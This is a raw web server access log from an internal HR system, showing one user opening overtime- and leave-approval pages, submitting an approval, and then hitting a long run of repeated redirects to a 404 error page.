/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.11.108 - - [01/Dec/2025:08:52:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 18354 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 18354 192.168.11.108 - - [01/Dec/2025:08:52:35 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:35 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132641%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132641&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132641%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132641&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe 